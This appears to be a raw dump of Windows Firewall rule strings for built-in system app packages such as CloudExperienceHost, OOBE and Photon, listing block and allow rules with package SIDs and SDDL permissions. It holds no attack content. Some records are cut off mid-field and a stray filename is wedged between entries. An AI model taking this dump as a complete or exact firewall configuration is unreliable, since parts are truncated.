v2.33|Action=Block|Active=TRUE|Dir=In|Name=@{Microsoft.Windows.Apprep.ChxApp_1000.25128.1000.0_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.Windows.Apprep.ChxApp/resources/DisplayName}|Desc=@{Microsoft.Windows.Apprep.ChxApp_1000.25128.1000.0_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.Windows.Apprep.ChxApp/resources/DisplayName}|PFN=Microsoft.Windows.Apprep.ChxApp_cw5n1h2txyewy|LUOwn=S-1-5-18|EmbedCtxt=@{Microsoft.Windows.Apprep.ChxApp_1000.25128.1000.0_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.Windows.Apprep.ChxApp/resources/DisplayName}| v2.33|Action=Block|Active=TRUE|Dir=Out|Name=@{Microsoft.Windows.Apprep.ChxApp_1000.25128.1000.0_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.Windows.Apprep.ChxApp/resources/DisplayName}|Desc=@{Microsoft.Windows.Apprep.ChxApp_1000.25128.1000.0_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.Windows.Apprep.ChxApp/resources/DisplayName}|PFN=Microsoft.Windows.Apprep.ChxApp_cw5n1h2txyewy|LUOwn=S-1-5-18|EmbedCtxt=@{Microsoft.Windows.Apprep.ChxApp_1000.25128.1000.0_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.Windows.Apprep.ChxApp/resources/DisplayName}| v2.33|Action=Allow|Active=TRUE|Dir=Out|Profile=Domain|Profile=Private|Profile=Public|RA42=IntErnet|RA62=IntErnet|Name=@{Microsoft.Windows.Apprep.ChxApp_1000.25128.1000.0_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.Windows.Apprep.ChxApp/resources/DisplayName}|Desc=@{Microsoft.Windows.Apprep.ChxApp_1000.25128.1000.0_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.Windows.Apprep.ChxApp/resources/DisplayName}|PFN=Microsoft.Windows.Apprep.ChxApp_cw5n1h2txyewy|LUAuth=O:LSD:(A;;CC;;;S-1-15-3-1)(A;;CC;;;WD)(A;;CC;;;AN)|LUOwn=S-1-5-18|EmbedCtxt=@{Microsoft.Windows.Apprep.ChxApp_1000.25128.1000.0_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.Windows.Apprep.ChxApp/resources/DisplayName}| v2.33|Action=Allow|Active=TRUE|Dir=Out|Profile=Domain|Profile=Private|Profile=Public|Name=@{Microsoft.Windows.Apprep.ChxApp_1000.25128.1000.0_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.Windows.Apprep.ChxApp/resources/DisplayName}|Desc=@{Microsoft.Windows.Apprep.ChxApp_1000.25128.1000.0_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.Windows.Apprep.ChxApp/resources/DisplayName}|PFN=Microsoft.Windows.Apprep.ChxApp_cw5n1h2txyewy|LUOwn=S-1-5-18|EmbedCtxt=@{Microsoft.Windows.Apprep.ChxApp_1000.25128.1000.0_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.Windows.Apprep.ChxApp/resources/DisplayName}|Platform=2:6:2|Platform2=GTEQ| v2.33|AppPkgId=S-1-15-2-3119458392-1009845475-4083330090-3659807469-4003170139-1239840055-303833190|LUOwn=S-1-5-18|C=S-1-15-3-1|C=S-1-15-3-3119458392-1009845475-4083330090-3659807469-4003170139-1239840055-303833190|M=Microsoft.Windows.OOBENetworkCaptivePortal_cw5n1h2txyewy|Name=@{Microsoft.Windows.OOBENetworkCaptivePortal_10.0.26495.1000_neutral__cw5n1h2txyewy?ms-resource://Microsoft.Windows.OOBENetworkCaptivePortal/Resources/AppDisplayName}|Desc=@{Microsoft.Windows.OOBENetworkCaptivePortal_10.0.26495.1000_neutral__cw5n1h2txyewy?ms-resource://Microsoft.Windows.OOBENetworkCaptivePortal/Resources/AppDisplayName}|D=C:\Windows\SystemApps\Microsoft.Windows.OOBENetworkCaptivePortal_cw5n1h2txyewy\|PFN=Microsoft.Windows.OOBENetworkCaptivePortal_cw5n1h2txyewy| v2.33|Action=Block|Active=TRUE|Dir=In|Name=@{Microsoft.Windows.OOBENetworkConnectionFlow_10.0.26495.1000_neutral__cw5n1h2txyewy?ms-resource://Microsoft.Windows.OOBENetworkConnectionFlow/Resources/AppDisplayName}|Desc=@{Microsoft.Windows.OOBENetworkConnectionFlow_10.0.26495.1000_neutral__cw5n1h2txyewy?ms-resource://Microsoft.Windows.OOBENetworkConnectionFlow/Resources/AppDisplayName}|PFN=Microsoft.Windows.OOBENetworkConnectionFlow_cw5n1h2txyewy|LUOwn=S-1-5-18|EmbedCtxt=@{Microsoft.Windows.OOBENetworkConnectionFlow_10.0.26495.1000_neutral__cw5n1h2txyewy?ms-resource://Microsoft.Windows.OOBENetworkConnectionFlow/Resources/AppDisplayName}| v2.33|Action=Block|Active=TRUE|Dir=In|Name=@{Microsoft.Windows.CloudExperienceHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.Windows.CloudExperienceHost/resources/appDescription}|Desc=@{Microsoft.Windows.CloudExperienceHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.Windows.CloudExperienceHost/resources/appDescription}|PFN=Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy|LUOwn=S-1-5-18|EmbedCtxt=@{Microsoft.Windows.CloudExperienceHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.Windows.CloudExperienceHost/resources/appDescription}| v2.33|Action=Block|Active=TRUE|Dir=In|Name=@{Microsoft.Windows.AssignedAccessLockApp_1000.25128.1000.0_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.Windows.AssignedAccessLockApp/Resources/PackageDisplayName}|Desc=@{Microsoft.Windows.AssignedAccessLockApp_1000.25128.1000.0_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.Windows.AssignedAccessLockApp/Resources/PackageDescription}|PFN=Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy|LUOwn=S-1-5-18|EmbedCtxt=@{Microsoft.Windows.AssignedAccessLockApp_1000.25128.1000.0_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.Windows.AssignedAccessLockApp/Resources/PackageDisplayName}| v2.33|Action=Block|Active=TRUE|Dir=Out|Name=@{Microsoft.Windows.AssignedAccessLockApp_1000.25128.1000.0_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.Windows.AssignedAccessLockApp/Resources/PackageDisplayName}|Desc=@{Microsoft.Windows.AssignedAccessLockApp_1000.25128.1000.0_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.Windows.AssignedAccessLockApp/Resources/PackageDescription}|PFN=Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy|LUOwn=S-1-5-18|EmbedCtxt=@{Microsoft.Windows.AssignedAccessLockApp_1000.25128.1000.0_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.Windows.AssignedAccessLockApp/Resources/PackageDisplayName}| v2.33|AppPkgId=S-1-15-2-2705751783-1496458293-2835996032-3143071717-1071345625-677459937-2760321769|LUOwn=S-1-5-18|C=S-1-15-3-2705751783-1496458293-2835996032-3143071717-1071345625-677459937-2760321769|M=Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy|Name=@{Microsoft.Windows.AssignedAccessLockApp_1000.25128.1000.0_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.Windows.AssignedAccessLockApp/Resources/PackageDisplayName}|Desc=@{Microsoft.Windows.AssignedAccessLockApp_1000.25128.1000.0_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.Windows.AssignedAccessLockApp/Resources/PackageDescription}|D=C:\Windows\SystemApps\Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy\|PFN=Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy| v2.33|Action=Block|Active=TRUE|Dir=In|Name=@{Microsoft.Windows.XGpuEjectDialog_10.0.26100.1_neutral_neutral_cw5n1h2txyewy?ms-resource://XGpuEjectDialog/Resources/AppxManifest_DisplayName}|Desc=@{Microsoft.Windows.XGpuEjectDialog_10.0.26100.1_neutral_neutral_cw5n1h2txyewy?ms-resource://XGpuEjectDialog/Resources/AppxManifest_DisplayName}|PFN=Microsoft.Windows.XGpuEjectDialog_cw5n1h2txyewy|LUOwn=S-1-5-18|EmbedCtxt=@{Microsoft.Windows.XGpuEjectDialog_10.0.26100.1_neutral_neutral_cw5n1h2txyewy?ms-resource://XGpuEjectDialog/Resources/AppxManifest_DisplayName}| v2.33|Action=Block|Active=TRUE|Dir=Out|Name=@{Microsoft.Windows.CloudExperienceHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.Windows.CloudExperienceHost/resources/appDescription}|Desc=@{Microsoft.Windows.CloudExperienceHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.Windows.CloudExperienceHost/resources/appDescription}|PFN=Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy|LUOwn=S-1-5-18|EmbedCtxt=@{Microsoft.Windows.CloudExperienceHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.Windows.CloudExperienceHost/resources/appDescription}| v2.33|Action=Allow|Active=TRUE|Dir=In|Profile=Domain|Profile=Private|Profile=Public|RA42=IntrAnet|RA62=IntrAnet|Name=@{Microsoft.Windows.CloudExperienceHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.Windows.CloudExperienceHost/resources/appDescription}|Desc=@{Microsoft.Windows.CloudExperienceHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.Windows.CloudExperienceHost/resources/appDescription}|PFN=Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy|LUAuth=O:LSD:(A;;CC;;;S-1-15-3-3)(A;;CC;;;WD)(A;;CC;;;AN)|LUOwn=S-1-5-18|EmbedCtxt=@{Microsoft.Windows.CloudExperienceHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.Windows.CloudExperienceHost/resources/appDescription}| v2.33|Action=Allow|Active=TRUE|Dir=Out|Profile=Domain|Profile=Private|Profile=Public|RA42=IntrAnet|RA62=IntrAnet|Name=@{Microsoft.Windows.CloudExperienceHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.Windows.CloudExperienceHost/resources/appDescription}|Desc=@{Microsoft.Windows.CloudExperienceHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.Windows.CloudExperienceHost/resources/appDescription}|PFN=Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy|LUAuth=O:LSD:(A;;CC;;;S-1-15-3-3)(A;;CC;;;WD)(A;;CC;;;AN)|LUOwn=S-1-5-18|EmbedCtxt=@{Microsoft.Windows.CloudExperienceHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.Windows.CloudExperienceHost/resources/appDescription}| v2.33|Action=Allow|Active=TRUE|Dir=In|Profile=Private|Profile=Public|RA42=RmtIntrAnet|RA62=RmtIntrAnet|Name=@{Microsoft.Windows.CloudExperienceHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.Windows.CloudExperienceHost/resources/appDescription}|Desc=@{Microsoft.Windows.CloudExperienceHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.Windows.CloudExperienceHost/resources/appDescription}|PFN=Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy|LUAuth=O:LSD:(A;;CC;;;S-1-15-3-3)(A;;CC;;;WD)(A;;CC;;;AN)|LUOwn=S-1-5-18|EmbedCtxt=@{Microsoft.Windows.CloudExperienceHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.Windows.CloudExperienceHost/resources/appDescription}|Security=Authenticate| v2.33|Action=Allow|Active=TRUE|Dir=Out|Profile=Private|Profile=Public|RA42=RmtIntrAnet|RA62=RmtIntrAnet|Name=@{Microsoft.Windows.CloudExperienceHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.Windows.CloudExperienceHost/resources/appDescription}|Desc=@{Microsoft.Windows.CloudExperienceHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.Windows.CloudExperienceHost/resources/appDescription}|PFN=Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy|LUAuth=O:LSD:(A;;CC;;;S-1-15-3-3)(A;;CC;;;WD)(A;;CC;;;AN)|LUOwn=S-1-5-18|EmbedCtxt=@{Microsoft.Windows.CloudExperienceHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.Windows.CloudExperienceHost/resources/appDescription}|Security=Authenticate| v2.33|Action=Allow|Active=TRUE|Dir=Out|Profile=Domain|Profile=Private|Profile=Public|RA42=IntErnet|RA62=IntErnet|Name=@{Microsoft.Windows.CloudExperienceHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.Windows.CloudExperienceHost/resources/appDescription}|Desc=@{Microsoft.Windows.CloudExperienceHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.Windows.CloudExperienceHost/resources/appDescription}|PFN=Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy|LUAuth=O:LSD:(A;;CC;;;S-1-15-3-1)(A;;CC;;;WD)(A;;CC;;;AN)|LUOwn=S-1-5-18|EmbedCtxt=@{Microsoft.Windows.CloudExperienceHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.Windows.CloudExperienceHost/resources/appDescription}| v2.33|Action=Allow|Active=TRUE|Dir=Out|Profile=Domain|Profile=Private|Profile=Public|Name=@{Microsoft.Windows.CloudExperienceHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.Windows.CloudExperienceHost/resources/appDescription}|Desc=@{Microsoft.Windows.CloudExperienceHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.Windows.CloudExperienceHost/resources/appDescription}|PFN=Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy|LUOwn=S-1-5-18|EmbedCtxt=@{Microsoft.Windows.CloudExperienceHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.Windows.CloudExperienceHost/resources/appDescription}|Platform=2:6:2|Platform2=GTEQ| v2.33|Action=Allow|Active=TRUE|Dir=In|Profile=Domain|Profile=Private|Name=@{Microsoft.Windows.CloudExperienceHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.Windows.CloudExperienceHost/resources/appDescription}|Desc=@{Microsoft.Windows.CloudExperienceHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.Windows.CloudExperienceHost/resources/appDescription}|PFN=Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy|LUOwn=S-1-5-18|EmbedCtxt=@{Microsoft.Windows.CloudExperienceHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.Windows.CloudExperienceHost/resources/appDescription}|Platform=2:6:2|Platform2=GTEQ| v2.33|AppPkgId=S-1-15-2-2434737943-167758768-3180539153-984336765-1107280622-3591121930-2677285773|LUOwn=S-1-5-18|C=S-1-15-3-1|C=S-1-15-3-3|C=S-1-15-3-8|C=S-1-15-3-9|C=S-1-15-3-2434737943-167758768-3180539153-984336765-1107280622-3591121930-2677285773|M=Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy|Name=@{Microsoft.Windows.CloudExperienceHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.Windows.CloudExperienceHost/resources/appDescription}|Desc=@{Microsoft.Windows.CloudExperienceHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.Windows.CloudExperienceHost/resources/appDescription}|D=C:\Windows\SystemApps\ v2.33|Action=Allow|Active=TRUE|Dir=In|Profile=Domain|Profile=Private|Profile=Public|Name=@{MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.Client.CBS/resources/ProductPkgDisplayName}|Desc=@{MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.Client.CBS/resources/ProductPkgDisplayName}|PFN=MicrosoftWindows.Client.CBS_cw5n1h2txyewy|LUOwn=S-1-5-18|EmbedCtxt=@{MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.Client.CBS/resources/ProductPkgDisplayName}|Platform=2:6:2|Platform2=GTEQ|Edge=TRUE| v2.33|AppPkgId=S-1-15-2-2432820154-214690117-2638483218-3299957948-3041975438-3418652010-4243016273|LUOwn=S-1-5-18|C=S-1-15-3-1|C=S-1-15-3-2432820154-214690117-2638483218-3299957948-3041975438-3418652010-4243016273|M=MicrosoftWindows.Client.FileExp_cw5n1h2txyewy|Name=@{MicrosoftWindows.Client.FileExp_1000.26100.4.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.Client.FileExp/Resources/ProductPkgDisplayName}|Desc=@{MicrosoftWindows.Client.FileExp_1000.26100.4.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.Client.FileExp/Resources/ProductPkgDisplayName}|D=C:\Windows\SystemApps\MicrosoftWindows.Client.FileExp_cw5n1h2txyewy\|PFN=MicrosoftWindows.Client.FileExp_cw5n1h2txyewy|BF=TRUE| WmiApRpl.ini v2.33|Action=Block|Active=TRUE|Dir=In|Name=@{MicrosoftWindows.Client.CoreAI_1000.26100.7824.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.Client.CoreAI/AIXHost/ClickToDo/AppDisplayName}|Desc=@{MicrosoftWindows.Client.CoreAI_1000.26100.7824.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.Client.CoreAI/AIXHost/Cl v2.33|Action=Block|Active=TRUE|Dir=In|Name=@{MicrosoftWindows.Client.Photon_1000.26100.10.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.Client.Photon/Resources/ProductPkgDisplayName}|Desc=@{MicrosoftWindows.Client.Photon_1000.26100.10.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.Client.Photon/Resources/ProductPkgDisplayName}|PFN=MicrosoftWindows.Client.Photon_cw5n1h2txyewy|LUOwn=S-1-5-18|EmbedCtxt=@{MicrosoftWindows.Client.Photon_1000.26100.10.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.Client.Photon/Resources/ProductPkgDisplayName}| v2.33|Action=Block|Active=TRUE|Dir=In|Name=@{MicrosoftWindows.Client.OOBE_1000.26100.32.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.Client.OOBE/resources/ProductPkgDisplayName}|Desc=@{MicrosoftWindows.Client.OOBE_1000.26100.32.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.Client.OOBE/resources/ProductPkgDisplayName}|PFN=MicrosoftWindows.Client.OOBE_cw5n1h2txyewy|LUOwn=S-1-5-18|EmbedCtxt=@{MicrosoftWindows.Client.OOBE_1000.26100.32.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.Client.OOBE/resources/ProductPkgDisplayName}| v2.33|Action=Block|Active=TRUE|Dir=Out|Name=@{MicrosoftWindows.Client.OOBE_1000.26100.32.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.Client.OOBE/resources/ProductPkgDisplayName}|Desc=@{MicrosoftWindows.Client.OOBE_1000.26100.32.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.Client.OOBE/resources/ProductPkgDisplayName}|PFN=MicrosoftWindows.Client.OOBE_cw5n1h2txyewy|LUOwn=S-1-5-18|EmbedCtxt=@{MicrosoftWindows.Client.OOBE_1000.26100.32.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.Client.OOBE/resources/ProductPkgDisplayName}| v2.33|Action=Allow|Active=TRUE|Dir=In|Profile=Domain|Profile=Private|Profile=Public|RA42=IntErnet|RA62=IntErnet|Name=@{MicrosoftWindows.Client.OOBE_1000.26100.32.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.Client.OOBE/resources/ProductPkgDisplayName}|Desc=@{MicrosoftWindows.Client.OOBE_1000.26100.32.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.Client.OOBE/resources/ProductPkgDisplayName}|PFN=MicrosoftWindows.Client.OOBE_cw5n1h2txyewy|LUAuth=O:LSD:(A;;CC;;;S-1-15-3-2)(A;;CC;;;WD)(A;;CC;;;AN)|LUOwn=S-1-5-18|EmbedCtxt=@{MicrosoftWindows.Client.OOBE_1000.26100.32.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.Client.OOBE/resources/ProductPkgDisplayName}| v2.33|Action=Allow|Active=TRUE|Dir=Out|Profile=Domain|Profile=Private|Profile=Public|RA42=IntErnet|RA62=IntErnet|Name=@{MicrosoftWindows.Client.OOBE_1000.26100.32.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.Client.OOBE/resources/ProductPkgDisplayName}|Desc=@{MicrosoftWindows.Client.OOBE_1000.26100.32.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.Client.OOBE/resources/ProductPkgDisplayName}|PFN=MicrosoftWindows.Client.OOBE_cw5n1h2txyewy|LUAuth=O:LSD:(A;;CC;;;S-1-15-3-2)(A;;CC;;;WD)(A;;CC;;;AN)|LUOwn=S-1-5-18|EmbedCtxt=@{MicrosoftWindows.Client.OOBE_1000.26100.32.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.Client.OOBE/resources/ProductPkgDisplayName}| v2.33|Action=Allow|Active=TRUE|Dir=Out|Profile=Domain|Profile=Private|Profile=Public|Name=@{MicrosoftWindows.Client.OOBE_1000.26100.32.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.Client.OOBE/resources/ProductPkgDisplayName}|Desc=@{MicrosoftWindows.Client.OOBE_1000.26100.32.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.Client.OOBE/resources/ProductPkgDisplayName}|PFN=MicrosoftWindows.Client.OOBE_cw5n1h2txyewy|LUOwn=S-1-5-18|EmbedCtxt=@{MicrosoftWindows.Client.OOBE_1000.26100.32.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.Client.OOBE/resources/ProductPkgDisplayName}|Platform=2:6:2|Platform2=GTEQ| v2.33|Action=Allow|Active=TRUE|Dir=In|Profile=Domain|Profile=Private|Profile=Public|Name=@{MicrosoftWindows.Client.OOBE_1000.26100.32.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.Client.OOBE/resources/ProductPkgDisplayName}|Desc=@{MicrosoftWindows.Client.OOBE_1000.26100.32.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.Client.OOBE/resources/ProductPkgDisplayName}|PFN=MicrosoftWindows.Client.OOBE_cw5n1h2txyewy|LUOwn=S-1-5-18|EmbedCtxt=@{MicrosoftWindows.Client.OOBE_1000.26100.32.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.Client.OOBE/resources/ProductPkgDisplayName}|Platform=2:6:2|Platform2=GTEQ|Edge=TRUE| v2.33|AppPkgId=S-1-15-2-3950126717-3641943460-3038804466-693777006-783539386-1288712031-1294249617|LUOwn=S-1-5-18|C=S-1-15-3-1|C=S-1-15-3-2|C=S-1-15-3-3950126717-3641943460-3038804466-693777006-783539386-1288712031-1294249617|M=MicrosoftWindows.Client.OOBE_cw5n1h2txyewy|Name=@{MicrosoftWindows.Client.OOBE_1000.26100.32.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.Client.OOBE/resources/ProductPkgDisplayName}|Desc=@{MicrosoftWindows.Client.OOBE_1000.26100.32.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.Client.OOBE/resources/ProductPkgDisplayName}|D=C:\Windows\SystemApps\MicrosoftWindows.Client.OOBE_cw5n1h2txyewy\|PFN=MicrosoftWindows.Client.OOBE_cw5n1h2txyewy|BF=TRUE| v2.33|Action=Block|Active=TRUE|Dir=In|Name=@{Windows.CBSPreview_10.0.19580.1000_neutral_neutral_cw5n1h2txyewy?ms-resource://Windows.CBSPreview/resources/DisplayName}|Desc=@{Windows.CBSPreview_10.0.19580.1000_neutral_neutral_cw5n1h2txyewy?ms-resource://Windows.CBSPreview/resources/Description}|PFN=Windows.CBSPreview_cw5n1h2txyewy|LUOwn=S-1-5-18|EmbedCtxt=@{Windows.CBSPreview_10.0.19580.1000_neutral_neutral_cw5n1h2txyewy?ms-resource://Windows.CBSPreview/resources/DisplayName}| v2.33|Action=Block|Active=TRUE|Dir=Out|Name=@{MicrosoftWindows.Client.Photon_1000.26100.10.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.Client.Photon/Resources/ProductPkgDisplayName}|Desc=@{MicrosoftWindows.Client.Photon_1000.26100.10.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.Client.Photon/Resources/ProductPkgDisplayName}|PFN=MicrosoftWindows.Client.Photon_cw5n1h2txyewy|LUOwn=S-1-5-18|EmbedCtxt=@{MicrosoftWindows.Client.Photon_1000.26100.10.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.Client.Photon/Resources/ProductPkgDisplayName}| v2.33|Action=Allow|Active=TRUE|Dir=In|Profile=Domain|Profile=Private|Profile=Public|RA42=IntrAnet|RA62=IntrAnet|Name=@{MicrosoftWindows.Client.Photon_1000.26100.10.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.Client.Photon/Resources/ProductPkgDisplayName}|Desc=@{MicrosoftWindows.Client.Photon_1000.26100.10.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.Client.Photon/Resources/ProductPkgDisplayName}|PFN=MicrosoftWindows.Client.Photon_cw5n1h2txyewy|LUAuth=O:LSD:(A;;CC;;;S-1-15-3-3)(A;;CC;;;WD)(A;;CC;;;AN)|LUOwn=S-1-5-18|EmbedCtxt=@{MicrosoftWindows.Client.Photon_1000.26100.10.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.Client.Photon/Resources/ProductPkgDisplayName}| v2.33|Action=Allow|Active=TRUE|Dir=Out|Profile=Domain|Profile=Private|Profile=Public|RA42=IntrAnet|RA62=IntrAnet|Name=@{MicrosoftWindows.Client.Photon_1000.26100.10.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.Client.Photon/Resources/ProductPkgDisplayName}|Desc=@{MicrosoftWindows.Client.Photon_1000.26100.10.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.Client.Photon/Resources/ProductPkgDisplayName}|PFN=MicrosoftWindows.Client.Photon_cw5n1h2txyewy|LUAuth=O:LSD:(A;;CC;;;S-1-15-3-3)(A;;CC;;;WD)(A;;CC;;;AN)|LUOwn=S-1-5-18|EmbedCtxt=@{MicrosoftWindows.Client.Photon_1000.26100.10.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.Client.Photon/Resources/ProductPkgDisplayName}| v2.33|Action=Allow|Active=TRUE|Dir=In|Profile=Private|Profile=Public|RA42=RmtIntrAnet|RA62=RmtIntrAnet|Name=@{MicrosoftWindows.Client.Photon_1000.26100.10.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.Client.Photon/Resources/ProductPkgDisplayName}|Desc=@{MicrosoftWindows.Client.Photon_1000.26100.10.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.Client.Photon/Resources/ProductPkgDisplayName}|PFN=MicrosoftWindows.Client.Photon_cw5n1h2txyewy|LUAuth=O:LSD:(A;;CC;;;S-1-15-3-3)(A;;CC;;;WD)(A;;CC;;;AN)|LUOwn=S-1-5-18|EmbedCtxt=@{MicrosoftWindows.Client.Photon_1000.26100.10.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.Client.Photon/Resources/ProductPkgDisplayName}|Security=Authenticate| v2.33|Action=Allow|Active=TRUE|Dir=Out|Profile=Private|Profile=Public|RA42=RmtIntrAnet|RA62=RmtIntrAnet|Name=@{MicrosoftWindows.Client.Photon_1000.26100.10.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.Client.Photon/Resources/ProductPkgDisplayName}|Desc=@{MicrosoftWindows.Client.Photon_1000.26100.10.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.Client.Photon/Resources/ProductPkgDisplayName}|PFN=MicrosoftWindows.Client.Photon_cw5n1h2txyewy|LUAuth=O:LSD:(A;;CC;;;S-1-15-3-3)(A;;CC;;;WD)(A;;CC;;;AN)|LUOwn=S-1-5-18|EmbedCtxt=@{MicrosoftWindows.Client.Photon_1000.26100.10.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.Client.Photon/Resources/ProductPkgDisplayName}|Security=Authenticate| 